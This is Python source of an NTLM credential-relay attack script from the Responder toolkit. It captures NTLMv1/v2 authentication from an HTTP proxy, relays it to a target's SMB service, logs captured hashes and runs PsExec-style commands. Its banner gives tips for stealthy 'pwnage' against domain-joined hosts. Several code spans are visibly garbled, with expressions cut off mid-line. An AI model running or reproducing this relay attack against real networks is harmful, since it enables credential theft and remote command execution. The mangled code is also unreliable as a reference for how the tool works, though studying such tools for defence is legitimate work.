#!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys, re, os, logging, warnings, thread, optparse, time from HTTPRelayPacket import * from Finger import RunFinger sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../../'))) from socket import * __version__ = "0.2" def UserCallBack(op, value, dmy, parser): args=[] for arg in parser.rargs: if arg[0] != "-": args.append(arg) if getattr(parser.values, op.dest): args.extend(getattr(parser.values, op.dest)) setattr(parser.values, op.dest, args) parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0]) parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay") options, args = parser.parse_args() if options.TARGET is None: print "\n-t Mandatory option is missing, please provide a target.\n" parser.print_help() exit(-1) if options.UserToRelay is None: print "\n-u Mandatory option is missing, please provide a username to relay.\n" parser.print_help() exit(-1) UserToRelay = options.UserToRelay Host = options.TARGET, 445 Cmd = "" def ShowWelcome(): print '\n\033[1;34mResponder Proxy Auth to SMB NTLMv1/2 Relay 0.2\nSupporting NTLMv1 and NTLMv2.' print 'Send bugs/hugs/comments to: laurent.gaffie@gmail.com' print 'Usernames to relay (-u) are case sensitive.' print 'To kill this script hit CRTL-C or .\033[1;31m\n' print 'Use this script in combination with Responder.py for best results.' print 'Do not to use Responder.py with -P set. This tool does the same' print 'than -P but with cross-protocol NTLM relay. Always target a box ' print 'joined to the target domain,not the PDC as SMB signing is enabled ' print 'by default. For optimal pwnage and stealthiness, launch Responder ' print 'with these 2 options only: -rv \033[0m' print '\n\033[1;34mRelaying credentials only for these users:\033[32m' print UserToRelay print '\033[0m\n' ShowWelcome() Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../" Logs = logging Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') try: RunFinger(Host[0]) except: print "The host %s seems to be down or port 445 down."%(Host[0]) sys.exit(1) # Function used to write captured hashs to a file. def WriteData(outfile, data, user): if not os.path.isfile(outfile): with open(outfile,"w") as outf: outf.write(data + '\n') return with open(outfile,"r") as filestr: if re.search(user.encode('hex'), filestr.read().encode('hex')): return False elif re.search(re.escape("$"), user): return False with open(outfile,"a") as outf2: outf2.write(data + '\n') #Function used to verify if a previous auth attempt was made. def ReadData(Outfile, Client, User, Domain, Target, cmd): try: with open(Logs_Path+"logs/"+Outfile,"r") as filestr: Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure" if re.search(Login.encode('hex'), filestr.read().encode('hex')): print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User) return True else: return False except: raise def ParseHTTPHash(data, key, client): LMhashLen = struct.unpack(' 24: NthashLen = 64 DomainLen = struct.unpack('i", len(''.join(payload))) def ExtractChallenge(data): SecBlobLen = struct.unpack(" 255: Challenge = data[106:114] print "[+] Setting up HTTP Proxy with SMB challenge:", Challenge.encode("hex") return Challenge def ExtractRawNTLMPacket(data): SecBlobLen = struct.unpack(" 0: RunPsExec(Host) time.sleep(1) except KeyboardInterrupt: exit() if __name__ == '__main__': try: main() except: raise